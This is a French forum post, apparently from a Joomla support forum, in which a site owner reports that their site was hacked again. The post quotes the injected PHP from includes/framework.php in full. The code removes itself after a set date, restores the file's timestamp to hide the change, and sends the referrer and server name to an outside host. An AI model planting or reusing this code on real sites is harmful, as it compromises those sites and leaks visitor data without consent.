Re : piratage joomla suite faille dans fichier includes/framework.php.
Bonjour,
Exactement comme en février dernier mon site www.audfray.com a été piraté.
Dans le fichier /includes/framework.php les mêmes lignes ont été ajoutées en fin de fichier:
check_meta();
function check_meta(){
$jp = __FILE__;
$jptime = filemtime($jp);
if(time() >= 1465116055){
$jp_c = file_get_contents($jp);
if($t = @strpos($jp_c,"check_meta();")) {
$contentp = substr($jp_c,0,$t);
if(@file_put_contents($jp, $contentp)){
@touch($jp,$jptime);
}
}
}
@file_get_contents("http://web.51.la:82/go.asp?svid=18&id=18863452&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/libraries/cms/error/cantent.php");
}
qui font que lorsqu'on veut accéder au site il boucle jusqu'à l'erreur:
Gateway Time-out
The gateway did not receive a timely response from the upstream server or application.
Apache Server at www.audfray.com Port 80
Le problème n'est pas compliqué à résoudre il suffit de virer les lignes mais j'aimerais bien savoir comment ces lignes ont pu être ajoutées pour la seconde fois.
Merci à vous.
Bonjour,
Exactement comme en février dernier mon site www.audfray.com a été piraté.
Dans le fichier /includes/framework.php les mêmes lignes ont été ajoutées en fin de fichier:
check_meta();
function check_meta(){
$jp = __FILE__;
$jptime = filemtime($jp);
if(time() >= 1465116055){
$jp_c = file_get_contents($jp);
if($t = @strpos($jp_c,"check_meta();")) {
$contentp = substr($jp_c,0,$t);
if(@file_put_contents($jp, $contentp)){
@touch($jp,$jptime);
}
}
}
@file_get_contents("http://web.51.la:82/go.asp?svid=18&id=18863452&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/libraries/cms/error/cantent.php");
}
qui font que lorsqu'on veut accéder au site il boucle jusqu'à l'erreur:
Gateway Time-out
The gateway did not receive a timely response from the upstream server or application.
Apache Server at www.audfray.com Port 80
Le problème n'est pas compliqué à résoudre il suffit de virer les lignes mais j'aimerais bien savoir comment ces lignes ont pu être ajoutées pour la seconde fois.
Merci à vous.
Commentaire